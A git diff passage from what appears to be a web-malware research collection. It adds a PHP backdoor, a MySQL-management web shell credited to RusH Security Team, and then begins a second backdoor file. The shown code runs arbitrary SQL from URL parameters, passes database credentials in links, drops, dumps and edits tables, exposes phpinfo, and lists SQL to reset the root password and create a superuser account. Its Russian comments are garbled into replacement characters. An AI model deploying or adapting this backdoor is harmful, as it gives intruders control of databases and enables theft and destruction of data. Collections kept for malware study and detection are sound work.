bgcolor=#EDEEF1>".htmlspecialchars($col_value_bd)."</td>"; + } + print "</tr>"; + } + print "</table><br>"; + @mysql_free_result($r_q_bd); + } +} + +/*---------------�������� �������------------*/ +if (isset($drop_table) && isset($db)){ + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $query = "DROP TABLE IF EXISTS $drop_table"; + $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#706D6D size=2>������� [ <b>$drop_table </b>] ������� �������.</font><br>"); + print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t'></head>"; + unset($drop_table); +} +if (isset($q_i)) { $n_img($tag,$f_n,$img_c); } + +if (isset($db) && isset($tbl)) { + /*�������� ���������� ����� � �������*/ + $count=mysql_query ("SELECT COUNT(*) FROM `$tbl`"); + $count_row= mysql_fetch_array($count); //$count_row[0] ���-�� ����� + mysql_free_result($count); + print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0> + <tr> + <td> + <table align=center border=0 width=700 cellpadding=0 cellspacing=1 bgcolor=#FFFFFF> + <tr align=center> + <td width=100 bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&tbl=$tbl&st_tab=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"�������� ��������� $tbl\"><b>���������</b></a> + </td> + <td width=100 bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&nn_row=ok\" title=\"�������� ����� ��� � ������� $tbl\"><b>��������</b></a> + </td> + <td width=120 bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=table\" title=\"������������ SQL ������\"><b>SQL-������</b></a> + </td> + <td width=120 bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&dump=tab\" title=\"������� ������ ������� $tbl\"><b>���� �������</b></a> + </td> + <td width=120 bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&alter_table=TRUE\" title=\"������������� ������� $tbl\"><b>�������������</b></a> + </td> + <td width=120 bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&drop_table=$tbl&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"������� ������� $tbl\" onClick=\"return confirm('������� ������� $tbl ?');\"><b>������� �������</b></a> + </td> + </tr> + </table> + </td> + </tr> + <tr> + <td><br>"; + if (isset($t)) { print "&nbsp;&nbsp;".base64_decode($t);} + print "&nbsp;&nbsp;��:(<b>$db</b>)&nbsp;&nbsp;&nbsp;&nbsp;�������:(<b>$tbl</b>)&nbsp;&nbsp;&nbsp; + ����� �����:(<b>$count_row[0]</b>) + </td> + </tr> + <tr> + <td> +<table border=0 width=100% cellpadding=4 cellspacing=0 bgcolor=#FFFFFF> + <tr> + <td bgcolor=#E6E7E9 align=center valign=\"middle\">"; + +$start=$limit_start+$limit_count; + +if (isset($start) && ($start>0)) { + print "<table align=center border=0 cellpadding=4 cellspacing=0> + <tr>"; + +if ($start+$limit_count >= $count_row[0]){ +$start=$limit_start; +$limit_count=$count_row[0]-$start; +} + +if (isset($start) && ($limit_start >= 30) ){ + $back=$limit_start-30; + print "<td bgcolor=#FFFFFF align=center> + <form method=\"get\" action=\"$self\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <input type=\"hidden\" name=\"db\" value=\"$db\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"tbl\" value=\"$tbl\"> + <input type=\"hidden\" name=\"limit_start\" value=\"$back\"> + <input type=\"hidden\" name=\"limit_count\" value=\"30\"> + <input type=\"submit\" value=\"<< �����(30)\">&nbsp;&nbsp; + </form> + </td>"; +} + +print " <td bgcolor=#FFFFFF align=center> + <form method=\"get\" action=\"$self\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <input type=\"hidden\" name=\"db\" value=\"$db\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"tbl\" value=\"$tbl\"> + <input type=\"submit\" value=\"��������\">&nbsp;&nbsp;�� + <input type=\"text\" name=\"limit_start\" value=\"$start\" size=\"5\" maxlength=\"5\">������ + &nbsp;&nbsp; <input type=\"text\" name=\"limit_count\" value=\"$limit_count\" size=\"5\" maxlength=\"5\">����� ������� + </form></td>"; + +if ( isset($limit_start) && ($start <= $count_row[0]) ){ + print "<td bgcolor=#FFFFFF align=center> + <form method=\"get\" action=\"$self\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"db\" value=\"$db\"> + <input type=\"hidden\" name=\"tbl\" value=\"$tbl\"> + <input type=\"hidden\" name=\"limit_start\" value=\"$start\"> + <input type=\"hidden\" name=\"limit_count\" value=\"30\"> + <input type=\"submit\" value=\"������(30)>>\"> + </form></td>"; +} + +print "</tr></table>"; +} + + +/*------------�������������� �������------------*/ +if ($alter_table=="TRUE"){ +print " <form method=\"get\" action=\"$self\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <input type=\"hidden\" name=\"db\" value=\"$db\"> + <input type=\"hidden\" name=\"tbl\" value=\"$tbl\"> + <input type=\"hidden\" name=\"alter_table\" value=\"$alter_table\"> + <table border=0 cellpadding=4 cellspacing=1 bgcolor=#FFFFFF> + <tr><td bgcolor=#DAD9D9 align=center><font size=2>������������� ������� [ <b>$tbl</b> ]</font></td></tr> + <tr><td bgcolor=#DAD9D9>����� ��� �������: + <input type=\"text\" name=\"alttbl\" value=\"\"> + <input type=\"submit\" value=\"�������������\" onClick=\"return confirm('�� �������, ��� ������ ������������� ������� \' $tbl \' ?')\";> + </td></tr></table></form>"; +} + + if (isset($alttbl)){ + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + //$query = "RENAME TABLE $tbl TO $alttbl"; + $query = "ALTER TABLE $tbl RENAME TO $alttbl"; + $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#706D6D size=2>������� [ <b>$tbl ]</b> ������������� � [ <b>$alttbl</b> ]</font><br>"); + print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&tbl=$alttbl&limit_start=0&limit_count=5&t=$t'></head>"; + } + +/*-------------------��������� �������-----------------*/ +if (isset($st_tab) && $st_tab=='TRUE'){ + mysql_select_db($st_db); + $result = mysql_query('desc '.$tbl, $connection); + print "<br><center><font size=2>��������� ������� [ <b>$tbl</b> ]</font><center>". + "<table align=center border=0 cellpadding=2 cellspacing=1 width=700 bgcolor=#FFFFFF>"; + + for ($i=0;$i<@mysql_num_fields($result);$i++){ + $name=mysql_field_name($result,$i); + $name=eregi_replace("Field","����",trim($name)); + $name=eregi_replace("Type","���",trim($name)); + $name=eregi_replace("Null","����",trim($name)); + $name=eregi_replace("Key","�������",trim($name)); + $name=eregi_replace("Default","�� ���������",trim($name)); + $name=eregi_replace("Extra","�������������",trim($name)); + $nn .= "<td align=center bgcolor=#C7C5C5><b>$name</b></td>"; + } + print "<tr>$nn</tr>"; + while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) { + print "<tr bgcolor=#E7E7D7>"; + foreach ($l_tbl as $k_tbl =>$col_v_tbl) { + if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') { + $col_v_tbl="���������"; + } + if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') { + $col_v_tbl="����������"; + } + if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') { + $col_v_tbl="������"; + } + if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="��"; } + if (eregi("Field", $k_tbl)) { + print "<td><font color=green><b>".htmlspecialchars($col_v_tbl)."</b></font></td>"; + }elseif (eregi("Type", $k_tbl)) { + print "<td align=left>".htmlspecialchars($col_v_tbl)."</td>"; + }else{ + print "<td align=center>".htmlspecialchars($col_v_tbl)."</td>"; + } + } + print "</tr>"; + } + print "</table><br>"; + @mysql_free_result($result); +} + +/*-------------������������ ������ � �������-------------*/ +if ($_GET['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; } +if ($_GET['return_sql']=='ok') { $q_tbl=trim($_GET['new_query_tbl']); } +$form_query_db_tbl="<br> + <form method=\"get\" action=\"$self?s=$s\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"db\" value=\"$db\"> + <input type=\"hidden\" name=\"tbl\" value=\"$tbl\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <table width=90% border=0 bgcolor=#EDEEF1><tr><td>��������� ������������ ������ � ������� ( <b>$tbl</b> )</td></tr> + <tr><td width=90> + <textarea name=\"new_query_tbl\" rows=\"10\" cols=\"80\">$q_tbl</textarea> + </td><td valign=top> + <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> �������� PHP-��� �������<br><br> + <input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> �������� ������ ������ �����<br> + <br> + <a href=\"$self?s=$s&q_help=ok\" target=\"_blank\"><b>������� ��������</b></a> + </td></tr> + <tr><td> + <input type=\"submit\" value=\"������\"> + </td></tr> + </table></td></form>"; + + +if (isset($_GET['query_tbl']) || $_GET['q_tbl']=='table') { + print $form_query_db_tbl."<br>"; +} + + +if (isset($new_query_tbl)) { + $new_query_tbl=trim($new_query_tbl); + print $form_query_db_tbl; + + + $result_tbl = mysql_query($new_query_tbl) or die("$h_error<b>".mysql_error()."</b>$f_error"); + if ($result_tbl !=='') { + print " + <table align=center border=0 width=90% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF><tr>"; + if ($php_kod=='ok') { print "<font color=green><b>PHP-��� �������:</b></font><br>\$sql = \"$new_query_tbl\";<br><br>"; } + if (preg_match("[drop]",$new_query)) { print "������� �������, �������� ������ ������ ����."; } + + print "<br><b>������ ������� ��������</b><br>"; + /*�������� �������� ��������*/ + for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){ + $name_tbl=mysql_field_name($result_tbl,$i); + print "<td bgcolor=#C7C5C5>$name_tbl</td>"; + } + + print "</tr>"; + while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) { + print "<tr>"; + foreach ($line_tbl as $key_tbl =>$col_value_tbl) { + print "<td bgcolor=#EDEEF1>".htmlspecialchars($col_value_tbl)."</td>"; + } + print "</tr>"; + } + print "</table><br>"; + @mysql_free_result($result_tbl); + } +} + +/*-------------�������� ������ �������--------------*/ +if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) && +!isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) && +!isset($nn_row) && !isset($nn) && !isset($upd_f)) { + print "<br><table border=0 cellpadding=1 cellspacing=1 width=100% bgcolor=#FFFFFF><tr>"; + +//���������� ������ ��� �������, �� ������ ����(�����) ����� ������ ������������� ������ +//Key_name ��� �������, Column_name ��� ������� +$query_ind = "SHOW KEYS FROM `{$tbl}`"; +$result_ind = mysql_query($query_ind) or die("$h_error<b>".mysql_error()."</b>$f_error"); + +while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) { + if ($row['Key_name'] == 'PRIMARY') { + $primary[] .= $row['Column_name']; + } +} + +mysql_free_result($result_ind); + + $query = "SELECT * FROM `{$tbl}` LIMIT {$limit_start},{$limit_count}"; + $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); +if (mysql_num_rows($result) == 0) { + print "������� <b>$tbl</b> �� �������� �� ����� ������"; +}else{ + /*�������� �������� ��������*/ + print "<td bgcolor=#E6E7E9></td><td bgcolor=#E6E7E9></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++){ + $name=mysql_field_name($result,$i); + print "<td bgcolor=#C7C5C5>$name</td>"; + } +} + while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { + print "</tr>"; + + foreach ($line as $key =>$col_value) { + + if (count($primary) > 0) { + if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); } + } + else { + //if (strlen($col_value) >= 20) { + // $e_count=substr($col_value,0,20); + // $edit .= urlencode("`$key`='$e_count' AND "); + //} else { + $edit .= urlencode("`$key`='$col_value' AND "); + //} + + } + + $string .= "<td bgcolor=#EDEEF1>".htmlspecialchars($col_value)."</td>"; + } + $edit=substr_replace($edit,"",-5); //��������� ��������� +AND+ + print "<tr><td bgcolor=#97C8D4 width=25><a href=$self?query_edit=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl title=\"������������� �������� �������\">Edit</a></td>". + "<td bgcolor=#F84C6C width=25><a href=\"$self?query_del=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl\" title=\"������� ������\" onClick=\"return confirm('������� ������, ������� ?');\">Del</a></td>". + $string.""; + + unset($edit); + unset($string); + } + + mysql_free_result($result); + print "</table><br>"; +} + +//������� ������ +if (isset($query_del)) { + $query = 'DELETE FROM `'.$tbl.'` WHERE '.urldecode($query_del); + $r_del = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); + print "������� ������� ����� (<b> ".mysql_affected_rows()."</b> )"; + +} + +//������� ����� �������������� ������ +if (isset($query_edit)) { + $query = 'SELECT * FROM `'.$tbl.'` WHERE '.urldecode($query_edit); + $r_edit = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); + + +print "<br><center><font color=green><h5>�������������� �������� ����� �������</h5></font></center>". + "<table border=0 cellpadding=1 cellspacing=1 bgcolor=#FFFFFF><tr bgcolor=#C7C5C5>". + "<td align=center><b>����</b></td><td align=center><b>��������</b></td></tr>"; +print "<form method=\"get\" action=\"$self\">". + "<input type=\"hidden\" name=\"s\" value=\"$s\">". + "<input type=\"hidden\" name=\"q_get\" value=\"y\">". + "<input type=\"hidden\" name=\"server\" value=\"$server\">". + "<input type=\"hidden\" name=\"port\" value=\"$port\">". + "<input type=\"hidden\" name=\"login\" value=\"$login\">". + "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">". + "<input type=\"hidden\" name=\"db\" value=\"$db\">". + "<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">"; + print "<input type=\"radio\" name=\"up_str\" value=\"up_ok\" checked=\"checked\">�������� ��������&nbsp;&nbsp;<b>���</b>&nbsp;&nbsp;&nbsp;". + "<input type=\"radio\" name=\"up_str\" value=\"ins_ok\">�������� ����� ���<br><br>"; + + while ($line = mysql_fetch_array($r_edit, MYSQL_ASSOC)) { + foreach ($line as $key =>$col_value) { + $del_str_� .= "`$key`='$col_value' AND "; + $len_value=strlen($col_value); + if ($len_value > 40) { $t_value="<textarea name=$key cols=39 rows=5>$col_value</textarea>"; } + else { $t_value="<input type='text' name='$key' value='$col_value'size=40>"; } + $g_query .= "<tr><td bgcolor=#DBDCDD><b>$key</b></td><td>$t_value</td></tr>"; + } + } + $del_str=urlencode($del_str_�); + print "<input type=\"hidden\" name=\"del_str\" value=\"$del_str\">"; + print "$g_query</table><br>"; + print "<br><input type=submit value=\"�������� ��������\"></form>"; +} + +if (isset($q_get)) { + $url=$_SERVER['QUERY_STRING']; + if ($_GET['up_str']=='up_ok') { + $del_str=urldecode(substr_replace($del_str,"",-5)); + $b = explode('&', $url); + for ($i = 10; $i < count($b); $i++) { + $q = explode("=",$b[$i]); + $q_a .= "`".$q[0]."`='".$q[1]."', "; + } + $q_a_ins=urldecode(substr_replace($q_a,"",-2)); + $q_st=urldecode(substr_replace($q_st,"",-2)); + //��� �������� $del_str + //�� ��� ����� ������ $q_a_ins + + $up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1"; + $q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $c_a_r=mysql_affected_rows(); + print "<table align=left width=70% bgcolor=#D7D8DA><tr><td><font color=green>". + "<b>PHP-��� �������:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>". + "</tr><tr><td><font color=green>�������� �����</font> (<b>$c_a_r<b>)</td></tr></table>"; + } + if ($_GET['up_str']=='ins_ok') { + $b = explode('&', $url); + for ($i = 10; $i < count($b); $i++) { + $q = explode("=",$b[$i]); + $i_cols .="`$q[0]`, "; + $i_val .= "'$q[1]', "; + } + $i_cols=urldecode(substr_replace($i_cols,"",-2)); //������� + $q_a_ins=urldecode(substr_replace($i_val,"",-2)); //�������� + $up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)"; + $q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $c_a_r=mysql_affected_rows(); + print "<table align=left width=70% bgcolor=#D7D8DA><tr><td><font color=green>". + "<b>PHP-��� �������:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>". + "</tr><tr><td><font color=green>�������� �����</font> (<b>$c_a_r<b>)</td></tr></table>"; + + } +} + +/*------------�������� ���--------------*/ +if (isset($nn_row) && $_GET['nn_row']=='ok') { + $nn_q = "SHOW FIELDS FROM {$tbl}"; + $r_n = mysql_query($nn_q) or die("$h_error<b>".mysql_error()."</b>$f_error"); +print "<form method=\"get\" action=\"$self\">". + "<input type=\"hidden\" name=\"s\" value=\"$s\">". + "<input type=\"hidden\" name=\"nn\" value=\"ok\">". + "<input type=\"hidden\" name=\"server\" value=\"$server\">". + "<input type=\"hidden\" name=\"port\" value=\"$port\">". + "<input type=\"hidden\" name=\"login\" value=\"$login\">". + "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">". + "<input type=\"hidden\" name=\"db\" value=\"$db\">". + "<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">". + "<br><center><font size=2>�������� ����� ��� � ������� [ <b>$tbl</b> ]</font></center>". + "<br><table border=0 cellpadding=0 cellspacing=1 bgcolor=#FFFFFF><tr bgcolor=#DAD9D9>". + "<td align=center><b>����</b></td><td align=center><b>���</b></td>". + "<td align=center><b>��������</b></td></tr>"; + while ($n_line = mysql_fetch_array($r_n, MYSQL_ASSOC)) { + foreach ($n_line as $n_k =>$n_v) { + $pole .= "$n_v "; + } + $n_l=explode(" ",$pole); + print "<tr bgcolor=#EDEEF1><td>&nbsp;<b>$n_l[0]</b>&nbsp;</td><td bgcolor=#E7E7D7>&nbsp;". + wordwrap($n_l[1],40,"<br>",1). + "&nbsp;</td><td><input type=text name=\"$n_l[0]\" size=35><td></tr>"; + unset($pole); + } + print "</table><br><center><input type=submit value=\"�������� ����� ���\"></center></form><br>"; +} + +if (isset($nn) && $_GET['nn']=='ok') { + $url_n=urldecode($_SERVER['QUERY_STRING']); + $b_nn = explode('&', $url_n); + for ($i = 8; $i < count($b_nn); $i++) { + $q_nn = explode("=",$b_nn[$i]); + $q_a_nn .= "`".$q_nn[0]."` ,"; + $q_nn_v .= "'".$q_nn[1]."' ,"; + } + + $q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2)); + $q_nn_v=substr_replace($q_nn_v,"",-2); + $sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )"; + mysql_query($sql_n) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $c_n_r=mysql_affected_rows(); + print "&nbsp;&nbsp;&nbsp;<table align=left width=70% bgcolor=#D7D8DA>". + "<tr><td><b>Action:</b> <font color=green>������� ��������� �����</font> (<b>$c_n_r<b>)</td></tr>". + "<tr><td><font color=green><b>PHP-��� �������:</b></font></td></tr><tr><td>\$sql=\"$sql_n\";</td></tr></table><br><br>"; +} + +/*-----------dump �������------------*/ +$form_dump= +"<form method=\"get\" action=\"$self\">". +"<input type=\"hidden\" name=\"s\" value=\"$s\">". +"<input type=\"hidden\" name=\"db\" value=\"$db\">". +"<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">". +"<input type=\"hidden\" name=\"server\" value=\"$server\">". +"<input type=\"hidden\" name=\"port\" value=\"$port\">". +"<input type=\"hidden\" name=\"login\" value=\"$login\">". +"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">". +"<input type=\"hidden\" name=\"f_dump\" value=\"$file\">". +"<table bgcolor=#FFFFFF width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>". +"<table cellpadding=2 bgcolor=#F0F1F4 width=100%>". +"<tr><td align=center><b>Dump �������</b> [ <font color=green><b>$tbl</b></font> ]</td></tr>". +"<tr><td><input type=\"radio\" name=\"strukt\" value=\"t_strukt\"> ������ ���������</td></tr>". +"<tr><td><input type=\"radio\" name=\"strukt\" value=\"d\"> ������ ������</td></tr>". +"<tr><td><input type=\"radio\" name=\"strukt\" value=\"d_strukt\" checked=\"checked\"> ��������� � ������</td></tr>". +"<tr><td align=center><hr size=1 color=#FFFFFF><b>��������</b> (��������/���������)</td></tr>". +"<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> �������� � ��������</td></tr>". +"<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> ��������� ���� ����� �� HTTP</td></tr>". +"<tr><td align=center><br><input type=\"submit\" value=\"��������� ������\"></td></tr>". +"</table>". +"</td></tr></table></form>"; + +if ($dump=="tab"){ print $form_dump;} +/*----------������ ���������------------*/ + +if ($_GET['strukt']=='t_strukt' && $_GET['send']=='send_br' ){ + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; + + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + //$file = "/tmp/dump_".$tbl.".sql"; + // ��������� ���� ��� ������ ����� + $fp = fopen($file, "w"); + fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". + date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); + + // �������� ����� ������� �������� ��������� ������� + $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $row = mysql_fetch_row($res); + fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); + fputs($fp, $row[1].";\n\n"); + fclose($fp); + $dump_file=file($file); +print "<br><table bgcolor=#FFFFFF width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#F0F1F4>"; +foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";} +print "</table></td></tr></table><br>"; + +unlink($file); +} + +/*----------��������� � ������------------*/ +if ($_GET['strukt']=='d_strukt' && $_GET['send']=='send_br'){ + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; + + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + //$file = "/tmp/dump_".$tbl.".sql"; + // ��������� ���� ��� ������ ����� + $fp = fopen($file, "w"); + fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ". + date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); + + // �������� ����� ������� �������� ��������� ������� + $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); + $row = mysql_fetch_row($res); + fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); + fputs($fp, $row[1].";\n\n"); + + // �������� ������ ������� + $res = mysql_query("SELECT * FROM `$tbl`", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; + fputs($fp, $sql); + } + } + + fclose($fp); +$dump_file=file($file); +print "<br><table bgcolor=#FFFFFF width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#F0F1F4>"; +foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";} +print "</table></td></tr></table><br>"; +unlink($file); +} + +/*----------������ ������------------*/ +if ($_GET['strukt']=='d' && $_GET['send']=='send_br'){ + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; + + mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); + //$file = "/tmp/dump_".$tbl.".sql"; + // ��������� ���� ��� ������ ����� + $fp = fopen($file, "w"); + // �������� ������ ������� + $res = mysql_query("SELECT * FROM `$tbl`", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; + fputs($fp, $sql); + } + } + + fclose($fp); +$dump_file=file($file); +print "<br><table bgcolor=#FFFFFF width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#F0F1F4>"; +foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";} +print "</table></td></tr></table><br>"; +unlink($file); +} +/*-------------END! �������� ������ �������--------------*/ + +print " + </td> + </tr> +</table> + </td> + </tr> + </table>"; +} + +/*------------------------ END R I G H T B L O C K ! -----------------------*/ +/*���������� php*/ +if (isset($php) && $php=='ok'){ +echo "<br /><div style = 'text-align:center;font-size: 300%'><a href = '$self'>�����</a></div><br />"; +phpinfo(); +echo "<br /><div style = 'text-align:center;font-size: 300%'><a href = '$self'>�����</a></div><br />"; +} +if (isset($q_help) && $q_help=='ok'){ + print '���� HELP �� �������� + <li><b>SHOW TABLES </b> ������� ������ ������ ���� + <li><b>SHOW OPEN TABLES</b> ������� ������ ������, ������� � ��������� ������ ������� � ���� ������� + <li><b>SHOW TABLE STATUS</b> ��������� ������ ���� + <li><b>SELECT VERSION(), CURRENT_DATE</b> ������� ������ MySQL ������� � ������� ���� + <li><b>SELECT (2*2), (4+1)*5, (9/3), (5-3)</b> ���������� MySQL ��� �����������: ��������� ����� ������� �������������� �������� + <li><b>DROP TABLE IF EXISTS table_name</b> ������� ������� \"table_name\" + <li><b>CREATE TABLE bar (m INT)</b> ������� ������� bar � ����� �������� (m) ���� integer + <li><b>CREATE TABLE test (number INTEGER,texts CHAR(10));</b> ������� ������� test � ������ number -��� INTEGER � ���� texts -��� CHAR + <li><b>CREATE TABLE `test` SELECT * FROM `rush`;</b> ������� ������� test ,������� ������� rush + <li><b>ALTER TABLE test CHANGE SITE OLD_SITE INTEGER</b> ������������� ������� INTEGER �� SITE � OLD_SITE + <li><b>ALTER TABLE test RENAME rush</b> ������������� ������� test � rush + <li><b>UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\'</b> ������� ����� root ������ + <li><b>FLUSH PRIVILEGES</b> ���������� ������� ���������� ������ + <li><b>GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION</b> �������� ������ �����-����� mysql <b>rst</b> � ������� <b>some_pass</b> + '; + +} + +print " + </td> + </tr> +</table> + +</td></tr> +<tr><td> +<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000> +<tr><td> + <table background=".$self."?img=bg_f align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2> + <tr> + <td align=center> + &copy;RusH Security Team (coded by dinggo, Modified by AOH)<br /> + </td> + </tr> + </table> +</td></tr> +</table> +</td></tr></table>"; + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/stres.txt b/web-malware-collection-master/Backdoors/PHP/stres.txt new file mode 100755 index 0000000..8acbd17 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/stres.txt @@ -0,0 +1,927 @@ + +<? +error_reporting(5); 